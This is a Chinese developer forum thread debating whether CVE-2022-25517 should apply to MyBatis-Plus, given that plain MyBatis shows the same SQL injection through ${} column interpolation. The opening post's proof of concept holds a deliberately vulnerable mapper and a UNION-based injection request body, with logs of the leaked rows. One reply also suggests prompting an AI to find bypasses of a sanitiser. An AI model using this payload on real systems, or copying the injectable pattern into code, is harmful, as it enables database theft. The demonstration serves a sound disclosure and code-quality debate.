如果 CVE-2022-25517 对于 mybatis plus 是合适的，那么 mybatis 本身也应该 own 一个类似的 CVE issue

[BraveXaiver]

最近公司引入了 SYNK 用作软件漏斗扫描工具，它给 mybatis plus 报 CVE-2022-25517 ，如果解决不了我就得把好大段代码用 JPA 或者 mybatis dynamic sql 重构。但我研究了下，我真心觉得这个如果是个有效的 CVE issue ，那 mybatis 也跑不了。

以下是正文。各位看了后觉得呢？

Background

Here is the POC and root cause why CVE-2022-25517 was generated: POC

But without mybatis-plus, only using mybatis, we can reproduce the same issue. Please check this demo: https://github.com/XSun771/demos/tree/mybatis-sql-injection

By this demo, I want to prove that CVE-2022-25517 should not be an CVE issue. At least if it is, then it is also applicable to Mybatis. Instead, it should be a bad code smell.

My POC

code

@Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);

I know you may say , "oh, it is highlighted by Mybatis developers that you should not use ${} but #{} which will check sql injection".

But I must highlight that it is also highlighted in mybatis-plus official documents that everyone needs to do SQL inject check first.

So if you agree that because mybatis developers highlights that you should not use ${} then there is no need to raise CVE issue for mybatis, then why not agree that no need to raise CVE issue to mybatis-plus?

@RequestMapping("/enquiry")
public String enquiry(@RequestBody Enquiry enquiry) {
    return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
}

attack

I made usage of IDEA http client, the script file is at src/main/resources/generated-requests.http.

POST http://localhost:9000/enquiry
Content-Type: application/json

{
"columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
"columnValue": "1"
}

Attachk result:

2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3

[Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]

[L0L]

建议是说尽量不要让接口传入$的参数值变量；如果不得不传入，一定要做好参数校验。这种很容易引发 sql 注入类的问题，

[leaflxh]

不知道是不是我代码写得少，通过让用户指明列名，来决定查询表的哪一个列，挺奇怪的功能

[BraveXaiver]

@leaflxh
@L0L
是的，我也同意这种写法不好。如果开发者这么写了，代码质量分析工具报问题，我没意见。但不应该视作对 mybatis-plus 这个库本身的 CVE issue 。如果视作，那么 mybatis 也应当适用此 CVE issue 。

[leohuangsulei]

一般不都是使用#{}吗？

[leohuangsulei]

一般啥需求会选择列名查询表。。

[wssy001]

@leohuangsulei #5 我之前做的 OA 项目，有些无代码需求，就有形如
SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}
这样的 SQL
不过前端传过来的数据都做了过滤

[L0L]

@BraveXaiver 我理解这种 bug 不能属于 mybatis 或者 mp 的，这个 cve 的漏洞针对的是你的这个软件，你的软件使用 mp 或者 mybatis 导致的问题，修复软件的漏洞，在接口侧做入参校验，是可以规避这种 sql 注入问题。不知道你们的安全扫描是否这样还会扫描，是否能显示修复。本身这个问题细究这个漏洞是不是 mp 或者 mybatis 可能没啥用。

[qq135449773]

https://github.com/FCncdn/MybatisPlusTenantPluginSQLInjection-POC/blob/master/%E5%90%8E%E8%AE%B0.md

」

[qq135449773]

下面的沟通记录截图我越看越想笑。

我觉得在这个问题上，有问题的不是这个项目本身。

[BraveXaiver]

@qq135449773 #9

这篇后记的语气也真傲慢，或者说双标。

引用其原文：

Mybatis 的${}问题（他们好爱拿这个来举例子）。"外部数据传入 Mybatis ${} 可以造成 SQL 注入" - 这是一个已知的问题(漏洞)。一个应用因为外部不可控参数传入${}并导致 SQL 注入，我们不会去找 Mybatis 给他们提报漏洞（因为对于官方来说，这是一个已知的问题(漏洞)，官方给了足够的说明、警告、风险提醒、适用场景以及替代方案），我们会直接找这个应用去提报漏洞

但是对于 MybatisPlus 来说，几乎没有人知道在使用这个框架的时候要怎么避免 SQL 注入（要不是看了源码，我也不会知道他们什么都不处理就直接做字段拼接），两者根本没有可比性

然而， 至少今天，不需要查看 MP 的源码，MP 的官方文档： https://baomidou.com/reference/about-cve/

已经强调：

该“漏洞”也是前端端传入 SQL 片段 导致 SQL 注入攻击。框架 QueryWrapper UpdateWrapper 字段部分是允许子查询的因此不能人为允许前端传入 SQL 片段。

如果使用者有这种需求，可以使用 SqlInjectionUtils.check(内容) 或 xxWrapper.checkSqlInjection() 方法来检查，如果检查通过，则不会抛出异常。

框架也提供了非常严格的条件构造器 LambdaQueryWrapper LambdaUpdateWrapper 推荐使用。

[nyxsonsleep]

@wssy001 #6 前端过滤不就等于不设防吗？

[shuimugan]

强类型语言的 ORM + 实体类，还能出现列名逃逸，真的挺好笑的。
你看它那个号称能防御 sql 注入的 SqlInjectionUtils https://github.com/baomidou/mybatis-plus/blob/3.0/mybatis-plus-core/src/main/java/com/baomidou/mybatisplus/core/toolkit/sql/SqlInjectionUtils.java ，碍于网络安全法我就不写绕过细节了，拿去问 AI“你是 sql 注入专家,审计这个 java 代码分析出可以逃逸的情况(比如哪些数据库存在它没提到的关键字)
```java
balabala 代码
```
”

惊喜连连

[ZeroDu]

严重怀疑这是有人（同行？）恶意提交的 CVE 。这不明摆着让人换框架吗

[Bingchunmoli]

@ZeroDu 就是同行，开源中国现在猛猛推新 mybatis 框架。换汤不换药

[xuanbg]

这真是程序设计领域的「因噎废食」，简直笑死

[bli22ard]

外部输入的 sql 参数，不使用预编译参数，不对合法性进行检查，sql 注入了。 这和 mybatis 没什么关系。

[wssy001]

@nyxsonsleep #11 前端传过来的数据先是在 gateway 层就做了一层数据过滤 传递到 service 层还有一层数据过滤

[CutieJohn]

至少两年前就被这个 CVE 搞了，最后我们在内部做了例外

[COOOOOOde]

哪个傻蛋真会这样用啊，知道 mybatis 不就知道这个，我觉得根本不是问题

[cslive]

你这个例子不对
// #{column}=#{value} ==> `name`="张三" 其中 `name`带转义
new LambdaUpdateWrapper<user>().eq(true, user::getName, "张三")

// ${column} = #{value} ==> name = "张三" 其中 name 就是纯字符串拼接
new UpdateWrapper<user>().eq(true, "name", "张三")
这个例子才对，mybatis 文档强调过"$"与"#"的区别，还说明"$"是不安全的，但是 mybatis-plus 并没有强调上面两个方法的区别，只是说明两个生成的 sql 相同，没有强调普通 Wrapper 是不安全的，可能存在 sql 注入

[BraveXaiver]

@cslive hmm 所以你同意， 如果官方在文档中强调一下用户需要对用作列名参数的值做检查（就像 mybatis 那样强调），那么便不存在问题吗？

[cslive]

@BraveXaiver #21 同意，但是官方文档到目前为止没有强调，只有在 cve 界面说了一下